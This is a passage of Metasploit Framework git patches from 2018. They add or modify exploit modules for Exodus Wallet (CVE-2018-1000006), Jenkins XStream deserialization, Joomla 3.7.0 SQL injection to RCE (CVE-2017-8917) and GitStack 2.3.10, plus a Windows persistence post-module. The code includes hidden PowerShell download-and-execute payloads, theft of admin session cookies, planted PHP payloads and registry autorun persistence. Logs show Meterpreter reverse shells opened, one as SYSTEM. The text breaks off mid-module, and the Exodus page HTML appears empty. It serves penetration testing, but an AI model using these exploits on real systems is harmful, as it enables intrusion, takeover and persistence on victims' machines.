exploit(windows/browser/exodus) > [*] Local IP: http://172.16.40.5:80/ +[*] Server started. +[*] 172.16.40.149 exodus - Delivering Payload +[*] Sending stage (179779 bytes) to 172.16.40.149 +[*] Meterpreter session 1 opened (172.16.40.5:4444 -> 172.16.40.149:49726) at 2018-02-23 15:40:17 +0000 + +msf exploit(windows/browser/exodus) > sessions 1 +[*] Starting interaction with 1... + +meterpreter > sysinfo +Computer : DESKTOP-PI8214R +OS : Windows 10 (Build 10586). +Architecture : x64 +System Language : pt_PT +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x86/windows +meterpreter > +``` From 15bd45cee361772da7883bed0b05ba74259e9e20 Mon Sep 17 00:00:00 2001 From: Daniel Teixeira Date: Mon, 26 Feb 2018 21:31:13 +0000 Subject: [PATCH 015/105] Exodus Module --- modules/exploits/windows/browser/exodus.rb | 104 +++++++++++++++++++++ 1 file changed, 104 insertions(+) create mode 100644 modules/exploits/windows/browser/exodus.rb diff --git a/modules/exploits/windows/browser/exodus.rb b/modules/exploits/windows/browser/exodus.rb new file mode 100644 index 0000000000..a7161787c2 --- /dev/null +++ b/modules/exploits/windows/browser/exodus.rb @@ -0,0 +1,104 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core/exploit/powershell' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ManualRanking + + include Msf::Exploit::EXE + include Msf::Exploit::Powershell + include Msf::Exploit::Remote::HttpServer::HTML + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Exodus Wallet (ElectronJS Framework) remote Code Execution', + 'Description' => %q( + This module exploits a Remote Code Execution vulnerability in Exodus Wallet, + a vulnerability in the ElectronJS Framework protocol handler can be used to + get arbitrary command execution if the user clicks on a specially crafted URL. + ), + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Wflki', # Original exploit author + 'Daniel Teixeira' # MSF module author + ], + 'DefaultOptions' => + { + 'SRVPORT' => '80', + 'URIPATH' => '/', + }, + 'References' => + [ + [ 'EDB', '43899' ], + [ 'BID', '102796' ], + [ 'CVE', '2018-1000006' ], + ], + 'Platform' => 'win', + 'Targets' => + [ + ['PSH (Binary)', { + 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X64] + }] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jan 25 2018' + )) + + register_advanced_options( + [ + OptBool.new('PSH-Proxy', [ true, 'PSH - Use the system proxy', true ]), + ], self.class + ) + end + + def gen_psh(url) + ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl + + download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url)) + + download_and_run = "#{ignore_cert}#{download_string}" + + return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run) + end + + def serve_payload(cli) + data = cmd_psh_payload(payload.encoded, + payload_instance.arch.first, + remove_comspec: true, + exec_in_place: true + ) + + print_status("Delivering Payload") + send_response_html(cli, data, 'Content-Type' => 'application/octet-stream') + end + + def serve_page(cli) + psh = gen_psh("#{get_uri}/payload") + psh_escaped = psh.gsub("\\","\\\\\\\\").gsub("'","\\\\'") + val = rand_text_alpha(5) + + html = %Q| + + + +| + send_response_html(cli, html) + end + + def on_request_uri(cli, request) + case request.uri + when /payload$/ + serve_payload(cli) + else + serve_page(cli) + end + end + +end From 293969599150831e1bf3b0f7cc8798524fa6154d Mon Sep 17 00:00:00 2001 From: attackdebris Date: Mon, 26 Feb 2018 16:59:36 -0500 Subject: [PATCH 016/105] Add ARCH_CMD and general fixup --- .../multi/http/jenkins_xstream_deserialize.rb | 25 +++++++++++++------ 1 file changed, 18 insertions(+), 7 deletions(-) diff --git a/modules/exploits/multi/http/jenkins_xstream_deserialize.rb b/modules/exploits/multi/http/jenkins_xstream_deserialize.rb index 5f8072ded1..4b6f3472c1 100644 --- a/modules/exploits/multi/http/jenkins_xstream_deserialize.rb +++ b/modules/exploits/multi/http/jenkins_xstream_deserialize.rb @@ -47,6 +47,16 @@ class MetasploitModule < Msf::Exploit::Remote 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64] ], + ['Windows (CMD)', + 'Platform' => 'win', + 'Arch' => [ARCH_CMD], + 'Payload' => { + 'Compat' => { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'adduser, generic' + } + } + ], ['Linux (Dropper)', 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64] @@ -62,7 +72,6 @@ class MetasploitModule < Msf::Exploit::Remote register_options([ OptString.new('TARGETURI', [true, 'The base path to Jenkins', '/']), OptString.new('PSH_PATH', [false, 'Path to powershell.exe', '']), - OptInt.new("ListenerTimeout", [true, "Number of seconds to wait for connect back", 30]), Opt::RPORT('8080') ]) deregister_options('URIPATH') @@ -88,22 +97,25 @@ class MetasploitModule < Msf::Exploit::Remote def exploit case target.name - when /Unix/, /Python/, /PowerShell/ + when /Unix/, /Python/, /CMD/ execute_command(payload.encoded) + when /PowerShell/ + execute_command(payload.encoded) + wait_for_session else - execute_cmdstager + execute_cmdstager({:flavor => :certutil}) + wait_for_session end end # Exploit methods - def execute_command(cmd, opts = {}) cmd = case target.name when /Unix/, /Linux/ %W{/bin/sh -c #{cmd}} when /Python/ %W{python -c #{cmd}} - when /Windows/ + when /Windows/, /CMD/ %W{cmd.exe /c #{cmd}} when /PowerShell/ psh_opts = { :remove_comspec => true, :wrap_double_quotes => true } @@ -120,10 +132,9 @@ class MetasploitModule < Msf::Exploit::Remote 'ctype' => 'application/xml', 'data' => xstream_payload(cmd) ) - wait_for_powershell_session end - def wait_for_powershell_session + def wait_for_session print_status "Waiting for exploit to complete..." begin Timeout.timeout(datastore['ListenerTimeout']) do From fcd6e8acab561c3172c6127db1e759cf3e574168 Mon Sep 17 00:00:00 2001 From: Green-m Date: Tue, 27 Feb 2018 05:27:32 -0500 Subject: [PATCH 017/105] Add options LocalExePath, StartupName, ServiceDescription --- modules/post/windows/manage/persistence_exe.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/post/windows/manage/persistence_exe.rb b/modules/post/windows/manage/persistence_exe.rb index 0889972d15..fc5d8e57be 100644 --- a/modules/post/windows/manage/persistence_exe.rb +++ b/modules/post/windows/manage/persistence_exe.rb @@ -41,9 +41,9 @@ class MetasploitModule < Msf::Post register_advanced_options( [ - OptString.new('LEXEPATH', [false, 'The local exe path to run. Use temp directory as default. ']), - OptString.new('STARTUP_NAME', [false, 'The name of service or registry. Random string as default.' ]), - OptString.new('SERVICE_DESC', [false, 'The description of service. Random string as default.' ]) + OptString.new('LocalExePath', [false, 'The local exe path to run. Use temp directory as default. ']), + OptString.new('StartupName', [false, 'The name of service or registry. Random string as default.' ]), + OptString.new('ServiceDescription', [false, 'The description of service. Random string as default.' ]) ]) end From 174c47195a36814272e2faa3d878cddbfeef4917 Mon Sep 17 00:00:00 2001 From: Green-m Date: Tue, 27 Feb 2018 05:32:07 -0500 Subject: [PATCH 018/105] Add options LocalExePath, StartupName, ServiceDescription --- modules/post/windows/manage/persistence_exe.rb | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/modules/post/windows/manage/persistence_exe.rb b/modules/post/windows/manage/persistence_exe.rb index fc5d8e57be..1b3665a7d9 100644 --- a/modules/post/windows/manage/persistence_exe.rb +++ b/modules/post/windows/manage/persistence_exe.rb @@ -131,7 +131,7 @@ class MetasploitModule < Msf::Post # Function to install payload in to the registry HKLM or HKCU #------------------------------------------------------------------------------- def write_to_reg(key, script_on_target) - nam = datastore['STARTUP_NAME'] || Rex::Text.rand_text_alpha(rand(8) + 8) + nam = datastore['StartupName'] || Rex::Text.rand_text_alpha(rand(8) + 8) print_status("Installing into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}") if key registry_setvaldata("#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", nam, script_on_target, "REG_SZ") @@ -146,8 +146,8 @@ class MetasploitModule < Msf::Post def install_as_service(script_on_target) if is_system? || is_admin? print_status("Installing as service..") - nam = datastore['STARTUP_NAME'] || Rex::Text.rand_text_alpha(rand(8) + 8) - description = datastore['SERVICE_DESC'] || Rex::Text.rand_text_alpha(8) + nam = datastore['StartupName'] || Rex::Text.rand_text_alpha(rand(8) + 8) + description = datastore['ServiceDescription'] || Rex::Text.rand_text_alpha(8) print_status("Creating service #{nam}") key = service_create(nam, :path=>"cmd /c \"#{script_on_target}\"",:display=>description) @@ -170,20 +170,20 @@ class MetasploitModule < Msf::Post # Function for writing executable to target host #------------------------------------------------------------------------------- def write_exe_to_target(rexe, rexename) - if not datastore['LEXEPATH'].nil? + if not datastore['LocalExePath'].nil? # check we have write permissions # I made it by myself because the function filestat.writable? was not implemented yet. - testfile = datastore['LEXEPATH'] + "\\" + Rex::Text.rand_text_alpha(rand(8) + 8) + testfile = datastore['LocalExePath'] + "\\" + Rex::Text.rand_text_alpha(rand(8) + 8) fd = session.fs.file.new(testfile,"w") if fd fd.close session.fs.file.rm(testfile) - tempdir = datastore['LEXEPATH'] + tempdir = datastore['LocalExePath'] else - print_warning("Insufficient privileges to write in #{datastore['LEXEPATH']}") + print_warning("Insufficient privileges to write in #{datastore['LocalExePath']}") end - # Write to %temp% directory if not writable or not set LEXEPATH + # Write to %temp% directory if not writable or not set LocalExePath else tempdir = session.fs.file.expand_path("%TEMP%") end From 2faa052bc065174dc30085293c405c928e436e48 Mon Sep 17 00:00:00 2001 From: Daniel Teixeira Date: Wed, 28 Feb 2018 10:15:54 +0000 Subject: [PATCH 019/105] Update Exodus Wallet Documentation --- documentation/modules/exploit/windows/browser/exodus.md | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/documentation/modules/exploit/windows/browser/exodus.md b/documentation/modules/exploit/windows/browser/exodus.md index 34dda87aed..9e3b60bbad 100644 --- a/documentation/modules/exploit/windows/browser/exodus.md +++ b/documentation/modules/exploit/windows/browser/exodus.md @@ -1,3 +1,5 @@ +## Description +This module exploits an Electron remote code execution vulnerability in Exodus wallet. Using the Electron remote code execution vulnerability in protocol handler is possible to inject command line arguments via URI handler. This module has been tested successfully on Windows 10 Enterprise x64. The vulnerable application is available for download at [Exodus v1.38.0](https://exodusbin.azureedge.net/releases/exodus-windows-x64-1.38.0.exe). ## Verification Steps 1. Install Exodus Wallet version `v1.38.0` @@ -6,12 +8,12 @@ 4. Do `set PAYLOAD windows/meterpreter/reverse_tcp` 5. Do `set LHOST ip` 6. Do `exploit` -7. In the target machine browse to the malicious URL an launch Exodus +7. On the target machine, browse to the malicious URL and launch Exodus 8. Verify the Meterpreter session is opened ## Scenarios -# Exodus Wallet on Windows 7 SP1 +### Exodus Wallet v1.38.0 on Windows 10 Enterprise x64 ``` msf > use exploit/windows/browser/exodus From c366f94017710fe2c2af5f26c76d12baed3e849c Mon Sep 17 00:00:00 2001 From: Daniel Teixeira Date: Wed, 28 Feb 2018 10:35:05 +0000 Subject: [PATCH 020/105] Update exodus.rb --- modules/exploits/windows/browser/exodus.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/browser/exodus.rb b/modules/exploits/windows/browser/exodus.rb index a7161787c2..1644416b5f 100644 --- a/modules/exploits/windows/browser/exodus.rb +++ b/modules/exploits/windows/browser/exodus.rb @@ -51,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote register_advanced_options( [ - OptBool.new('PSH-Proxy', [ true, 'PSH - Use the system proxy', true ]), + OptBool.new('PSH-Proxy', [ true, 'PSH - Use the system proxy', true ]), ], self.class ) end From c84ece15a3c5277bb8bdf5a828aaddb034456f5f Mon Sep 17 00:00:00 2001 From: Daniel Teixeira Date: Wed, 28 Feb 2018 11:04:16 +0000 Subject: [PATCH 021/105] Update exodus.rb --- modules/exploits/windows/browser/exodus.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/browser/exodus.rb b/modules/exploits/windows/browser/exodus.rb index 1644416b5f..f120e5346f 100644 --- a/modules/exploits/windows/browser/exodus.rb +++ b/modules/exploits/windows/browser/exodus.rb @@ -78,7 +78,7 @@ class MetasploitModule < Msf::Exploit::Remote end def serve_page(cli) - psh = gen_psh("#{get_uri}/payload") + psh = gen_psh("#{get_uri}payload") psh_escaped = psh.gsub("\\","\\\\\\\\").gsub("'","\\\\'") val = rand_text_alpha(5) From 2bb8fc7325d5ae7c100c23cc2b9feea965600248 Mon Sep 17 00:00:00 2001 From: Green-m Date: Thu, 1 Mar 2018 22:16:59 -0500 Subject: [PATCH 022/105] Fix bug --- .../post/windows/manage/persistence_exe.rb | 37 ++++++++++--------- 1 file changed, 19 insertions(+), 18 deletions(-) diff --git a/modules/post/windows/manage/persistence_exe.rb b/modules/post/windows/manage/persistence_exe.rb index 1b3665a7d9..c8094644b1 100644 --- a/modules/post/windows/manage/persistence_exe.rb +++ b/modules/post/windows/manage/persistence_exe.rb @@ -170,35 +170,36 @@ class MetasploitModule < Msf::Post # Function for writing executable to target host #------------------------------------------------------------------------------- def write_exe_to_target(rexe, rexename) - if not datastore['LocalExePath'].nil? - # check we have write permissions + # check if we have write permission # I made it by myself because the function filestat.writable? was not implemented yet. - testfile = datastore['LocalExePath'] + "\\" + Rex::Text.rand_text_alpha(rand(8) + 8) - fd = session.fs.file.new(testfile,"w") - if fd - fd.close - session.fs.file.rm(testfile) - tempdir = datastore['LocalExePath'] - else - print_warning("Insufficient privileges to write in #{datastore['LocalExePath']}") + if not datastore['LocalExePath'].nil? + + begin + temprexe = datastore['LocalExePath'] + "\\" + rexename + write_file_to_target(temprexe,rexe) + rescue Rex::Post::Meterpreter::RequestError + print_warning("Insufficient privileges to write in #{datastore['LocalExePath']}, writing to %TEMP%") + temprexe = session.fs.file.expand_path("%TEMP%") + "\\" + rexename + write_file_to_target(temprexe,rexe) end - # Write to %temp% directory if not writable or not set LocalExePath + # Write to %temp% directory if not set LocalExePath else - tempdir = session.fs.file.expand_path("%TEMP%") + temprexe = session.fs.file.expand_path("%TEMP%") + "\\" + rexename + write_file_to_target(temprexe,rexe) end - temprexe = tempdir + "\\" + rexename - - fd = session.fs.file.new(temprexe, "wb") - fd.write(rexe) - fd.close - print_good("Persistent Script written to #{temprexe}") @clean_up_rc << "rm #{temprexe}\n" temprexe end + def write_file_to_target(temprexe,rexe) + fd = session.fs.file.new(temprexe, "wb") + fd.write(rexe) + fd.close + end + # Function to create executable from a file #------------------------------------------------------------------------------- def create_payload_from_file(exec) From d1e91dfdfd3a8d862282809bc4c232052f6ae152 Mon Sep 17 00:00:00 2001 From: Green-m Date: Thu, 1 Mar 2018 22:19:03 -0500 Subject: [PATCH 023/105] Fix bug --- modules/post/windows/manage/persistence_exe.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/post/windows/manage/persistence_exe.rb b/modules/post/windows/manage/persistence_exe.rb index c8094644b1..463cc5275b 100644 --- a/modules/post/windows/manage/persistence_exe.rb +++ b/modules/post/windows/manage/persistence_exe.rb @@ -173,11 +173,11 @@ class MetasploitModule < Msf::Post # check if we have write permission # I made it by myself because the function filestat.writable? was not implemented yet. if not datastore['LocalExePath'].nil? - - begin + + begin temprexe = datastore['LocalExePath'] + "\\" + rexename write_file_to_target(temprexe,rexe) - rescue Rex::Post::Meterpreter::RequestError + rescue Rex::Post::Meterpreter::RequestError print_warning("Insufficient privileges to write in #{datastore['LocalExePath']}, writing to %TEMP%") temprexe = session.fs.file.expand_path("%TEMP%") + "\\" + rexename write_file_to_target(temprexe,rexe) From 18a1593de7e5966de699796c5c347220a19dc206 Mon Sep 17 00:00:00 2001 From: Green-m Date: Fri, 2 Mar 2018 02:31:09 -0500 Subject: [PATCH 024/105] Clean up registry and fix bug when cleaning the windows local file --- modules/post/windows/manage/persistence_exe.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/modules/post/windows/manage/persistence_exe.rb b/modules/post/windows/manage/persistence_exe.rb index 463cc5275b..70a05bdb3d 100644 --- a/modules/post/windows/manage/persistence_exe.rb +++ b/modules/post/windows/manage/persistence_exe.rb @@ -136,6 +136,7 @@ class MetasploitModule < Msf::Post if key registry_setvaldata("#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", nam, script_on_target, "REG_SZ") print_good("Installed into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}") + @clean_up_rc << "reg deleteval -k '#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -v '#{nam}'\n" else print_error("Error: failed to open the registry key for writing") end @@ -190,6 +191,7 @@ class MetasploitModule < Msf::Post end print_good("Persistent Script written to #{temprexe}") + temprexe.gsub!("\\", "\\\\\\\\") @clean_up_rc << "rm #{temprexe}\n" temprexe end From d945734f43d04925d6656f0502e24e38de5dbcae Mon Sep 17 00:00:00 2001 From: Luis Hernandez Date: Sun, 4 Mar 2018 22:17:49 -0500 Subject: [PATCH 025/105] Add 2017-8917 RCE for Joomla 3.0.7 --- .../unix/webapp/joomla_comfields_sqli_rce.rb | 272 ++++++++++++++++++ 1 file changed, 272 insertions(+) create mode 100644 modules/exploits/unix/webapp/joomla_comfields_sqli_rce.rb diff --git a/modules/exploits/unix/webapp/joomla_comfields_sqli_rce.rb b/modules/exploits/unix/webapp/joomla_comfields_sqli_rce.rb new file mode 100644 index 0000000000..bd61f9a5f6 --- /dev/null +++ b/modules/exploits/unix/webapp/joomla_comfields_sqli_rce.rb @@ -0,0 +1,272 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, + 'Name' => "Joomla Component Fields SQLi Remote Code Execution", + 'Description' => %q{ + This module exploits a SQL injection vulnerability found in Joomla versions + 3.7.0. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Mateus Lino', # Vulnerability discovery + 'luisco100 ' # Metasploit module + ], + 'References' => + [ + [ 'CVE', '2017-8917' ], # SQLi + [ 'URL', 'https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html' ] + ], + 'Payload' => + { + 'DisableNops' => true, + # Arbitrary big number. The payload gets sent as POST data, so + # really it's unlimited + 'Space' => 262144, # 256k + }, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => + [ + [ 'Joomla 3.7.0 ', {} ] + ], + 'Privileged' => false, + 'DisclosureDate' => "May 17 2017", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to Joomla', '/']) + ]) + + end + + def check + + # Request using a non-existing table + res = sqli(rand_text_alphanumeric(rand(10)+6), 'check') + + if res && res.body =~ /qpqjq(.*)qqqqq/ + table_prefix = $1 + return Exploit::CheckCode::Vulnerable + end + return Exploit::CheckCode::Safe + + end + + + def sqli( tableprefix , option) + + # SQLi will only grab Super User sessions with a valid username and userid (else they are not logged in). + # The extra search for NOT LIKE '%IS NOT NULL%' is because of our SQL data that's inserted in the session cookie history. + # This way we make sure that's excluded and we only get real admin sessions. + + if option == 'check' + sql = "(UPDATEXML(2170,CONCAT(0x2e,0x7170716a71,(SELECT MID((IFNULL(CAST(TO_BASE64(table_name) AS CHAR),0x20)),1,22) FROM information_schema.tables order by update_time DESC LIMIT 1),0x7171717171),4879))" + else + sql = "(UPDATEXML(2170,CONCAT(0x2e,0x717171,(SELECT MID(session_id,1,42) FROM #{tableprefix}session where userid!=0 LIMIT 1),0x7171717171),4879))" + end + # Retrieve cookies + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "index.php"), + 'vars_get' => { + 'option' => 'com_fields', + 'view' => 'fields', + 'layout'=> 'modal', + 'list[fullordering]' => sql + } + }) + + + return res + + end + + + def exploit + + # Request using a non-existing table first, to retrieve the table prefix + res = sqli(rand_text_alphanumeric(rand(10)+6), 'check') + + if res && res.code == 500 && res.body =~ /qpqjq(.*)qqqqq/ + + table_prefix = Base64.decode64($1) + table_prefix.sub! '_session', '' + print_status("#{peer} - Retrieved table prefix [ #{table_prefix} ]") + else + fail_with(Failure::Unknown, "#{peer} - Error retrieving table prefix") + end + + # Retrieve the admin session using our retrieved table prefix + res = sqli("#{table_prefix}_", 'exploit') + + if res && res.code == 500 && res.body =~ /qqq(.*)qqq/ + auth_cookie_part = $1 + print_status("#{peer} - Retrieved admin cookie [ #{auth_cookie_part} ]") + else + fail_with(Failure::Unknown, "#{peer}: No logged-in admin user found!") + end + + # Retrieve cookies + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "administrator", "index.php") + }) + + if res && res.code == 200 && res.get_cookies =~ /^([a-z0-9]+)=[a-z0-9]+;/ + cookie_begin = $1 + print_status("#{peer} - Retrieved unauthenticated cookie [ #{cookie_begin} ]") + else + fail_with(Failure::Unknown, "#{peer} - Error retrieving unauthenticated cookie") + end + + # Modify cookie to authenticated admin + auth_cookie = cookie_begin + auth_cookie << "=" + auth_cookie << auth_cookie_part + auth_cookie << ";" + + # Authenticated session + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "administrator", "index.php"), + 'cookie' => auth_cookie + }) + + if res && res.code == 200 && res.body =~ /Control Panel - Joomla - Administration/ + print_good("#{peer} - Successfully authenticated as Administrator") + else + fail_with(Failure::Unknown, "#{peer} - Session failure") + end + + + # Retrieve template view + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "administrator", "index.php"), + 'cookie' => auth_cookie, + 'vars_get' => { + 'option' => 'com_templates', + 'view' => 'templates' + } + }) + + # We try to retrieve and store the first template found + if res && res.code == 200 && res.body =~ /\/administrator\/index.php\?option=com_templates&view=template&id=([0-9]+)&file=([a-zA-Z0-9=]+)/ + template_id = $1 + file_id = $2 + + form = res.body.split(/
]+) method="post" name="adminForm" id="adminForm"\>(.*)<\/form>/mi) + input_hidden = form[2].split(/]+)\/>/mi) + input_id = input_hidden[7].split("\"") + input_id = input_id[1] + + else + fail_with(Failure::Unknown, "Unable to retrieve template") + end + + + + filename = rand_text_alphanumeric(rand(10)+6) + # Create file + print_status("#{peer} - Creating file [ #{filename}.php ]") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, "administrator", "index.php"), + 'cookie' => auth_cookie, + 'vars_get' => { + 'option' => 'com_templates', + 'task' => 'template.createFile', + 'id' => template_id, + 'file' => file_id, + }, + 'vars_post' => { + 'type' => 'php', + 'address' => '', + input_id => '1', + 'name' => filename + } + }) + + + + # Grab token + if res && res.code == 303 && res.headers['Location'] + location = res.headers['Location'] + print_status("#{peer} - Following redirect to [ #{location} ]") + res = send_request_cgi( + 'uri' => location, + 'method' => 'GET', + 'cookie' => auth_cookie + ) + + # Retrieving template token + if res && res.code == 200 && res.body =~ /&([a-z0-9]+)=1\">/ + token = $1 + print_status("#{peer} - Token [ #{token} ] retrieved") + else + fail_with(Failure::Unknown, "#{peer} - Retrieving token failed") + end + + if res && res.code == 200 && res.body =~ /(\/templates\/.*\/)template_preview.png/ + template_path = $1 + print_status("#{peer} - Template path [ #{template_path} ] retrieved") + else + fail_with(Failure::Unknown, "#{peer} - Unable to retrieve template path") + end + + else + fail_with(Failure::Unknown, "#{peer} - Creating file failed") + end + + filename_base64 = Rex::Text.encode_base64("/#{filename}.php") + + # Inject payload data into file + print_status("#{peer} - Insert payload into file [ #{filename}.php ]") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, "administrator", "index.php"), + 'cookie' => auth_cookie, + 'vars_get' => { + 'option' => 'com_templates', + 'view' => 'template', + 'id' => template_id, + 'file' => filename_base64, + }, + 'vars_post' => { + 'jform[source]' => payload.encoded, + 'task' => 'template.apply', + token => '1', + 'jform[extension_id]' => template_id, + 'jform[filename]' => "/#{filename}.php" + } + }) + + if res && res.code == 303 && res.headers['Location'] =~ /\/administrator\/index.php\?option=com_templates&view=template&id=#{template_id}&file=/ + print_status("#{peer} - Payload data inserted into [ #{filename}.php ]") + else + fail_with(Failure::Unknown, "#{peer} - Could not insert payload into file [ #{filename}.php ]") + end + + # Request payload + register_files_for_cleanup("#{filename}.php") + print_status("#{peer} - Executing payload") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, template_path, "#{filename}.php"), + 'cookie' => auth_cookie + }) + + end +end From a4f48eb80f0eaa341ccae212b7d5f7e332d3e36b Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Mon, 5 Mar 2018 13:25:41 -0600 Subject: [PATCH 026/105] Add GitStack v2.3.10 RCE --- .../exploit/windows/http/gitstack_rce.md | 61 ++++ modules/exploits/windows/http/gitstack_rce.rb | 303 ++++++++++++++++++ 2 files changed, 364 insertions(+) create mode 100644 documentation/modules/exploit/windows/http/gitstack_rce.md create mode 100644 modules/exploits/windows/http/gitstack_rce.rb diff --git a/documentation/modules/exploit/windows/http/gitstack_rce.md b/documentation/modules/exploit/windows/http/gitstack_rce.md new file mode 100644 index 0000000000..f4290a4bac --- /dev/null +++ b/documentation/modules/exploit/windows/http/gitstack_rce.md @@ -0,0 +1,61 @@ +## Description + +This module exploits an unauthenticated remote code execution vulnerability on GitStack v2.3.10. The module will send unauthenticated REST API requests to put the application in a vulnerable state, if needed, before sending a request to trigger the exploit. These configuration changes are undone before the module exits. + +## Vulnerable Application + +In vulnerable versions of GitStack, a flaw in `Authentication.class.php` allows [unauthenticated remote code execution](https://security.szurek.pl/gitstack-2310-unauthenticated-rce.html) since `$_SERVER['PHP_AUTH_PW']` is passed directly to an `exec` function. + +To exploit the vulnerability, the repository interface must be enabled, a repository must exist, and a user must have access to the repository. + +Note: A passwd file should be created by GitStack for local user accounts. Default location: `C:\GitStack\data\passwdfile`. + +## Verification Steps + +- [ ] Install a vulnerable GitStack application +- [ ] `./msfconsole` +- [ ] `use exploit/windows/http/gitstack_rce` +- [ ] `set rhost ` +- [ ] `set verbose true` +- [ ] `run` + +Note: You may have to run the exploit multiple times since the powershell that is generate has to be under a certain size. + +## Scenarios + +### GitStack v2.3.10 on Windows 7 SP1 + +``` +msf5 > use exploit/windows/http/gitstack_rce +msf5 exploit(windows/http/gitstack_rce) > set rhost 172.22.222.122 +rhost => 172.22.222.122 +msf5 exploit(windows/http/gitstack_rce) > set verbose true +verbose => true +msf5 exploit(windows/http/gitstack_rce) > run + +[*] Started reverse TCP handler on 172.22.222.131:4444 +[*] Powershell command length: 6103 +[-] Web interface is disabled +[-] No repositories found +[+] Web interface successfully enabled +[+] The repository has been successfully created +[+] Created user: ZROTE +[+] User ZROTE added to EsILm +[*] Sending stage (252483 bytes) to 172.22.222.122 +[+] ZROTE removed from EsILm +[+] ZROTE has been deleted +[+] Web interface successfully disabled +[+] EsILm has been deleted + +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +meterpreter > sysinfo +Computer : WIN-V438RLMESAE +OS : Windows 7 (Build 7601, Service Pack 1). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 1 +Meterpreter : x86/windows +meterpreter > +``` diff --git a/modules/exploits/windows/http/gitstack_rce.rb b/modules/exploits/windows/http/gitstack_rce.rb new file mode 100644 index 0000000000..f2b79af8c2 --- /dev/null +++ b/modules/exploits/windows/http/gitstack_rce.rb @@ -0,0 +1,303 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = GreatRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Powershell + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'GitStack v2.3.10 Unsanitized Argument', + 'Description' => %q{ + This module exploits a remote code execution vulnerability in + GitStack v2.3.10, caused by an unsanitized argument being passed + to an exec function call. Earlier version of GitStack may be + affected. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Kacper Szurek', # Vulnerability discovery and PoC + 'Jacob Robles' # Metasploit module + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread' + }, + 'Platform' => 'win', + 'Payload' => + { + 'BadChars' => "\x00" + }, + 'Targets' => [['Automatic', {}]], + 'Privileged' => true, + 'DisclosureDate' => 'Jan 15 2018', + 'DefaultTarget' => 0)) + register_options([Opt::RPORT(80)]) + end + + def check_web + begin + res = send_request_cgi({ + 'uri' => normalize_uri('/rest/settings/general/webinterface/'), + 'method' => 'GET' + }) + rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, + Rex::HostUnreachable, Errno::ECONNRESET => e + print_error("Failed: #{e.class} - #{e.message}") + end + + if res && res.code == 200 + if res.body =~ /true/ + vprint_good('Web interface is enabled') + return true + else + vprint_error('Web interface is disabled') + return false + end + else + print_error('Unable to determine status of web interface') + return nil + end + end + + def check_repos + begin + res = send_request_cgi({ + 'uri' => '/rest/repository/', + 'method' => 'GET', + }) + rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, + Rex::HostUnreachable, Errno::ECONNRESET => e + print_error("Failed: #{e.class} - #{e.message}") + end + if res && res.code == 200 + begin + mylist = JSON.parse(res.body) + rescue JSON::ParserError => e + print_error("Failed: #{e.class} - #{e.message}") + return nil + end + + unless mylist.length == 0 + vprint_good('Repositories found') + return mylist + else + vprint_error('No repositories found') + return false + end + else + print_error('Unable to determine available repositories') + return nil + end + end + + def update_web(web) + data = {'enabled' => web} + begin + res = send_request_cgi({ + 'uri' => 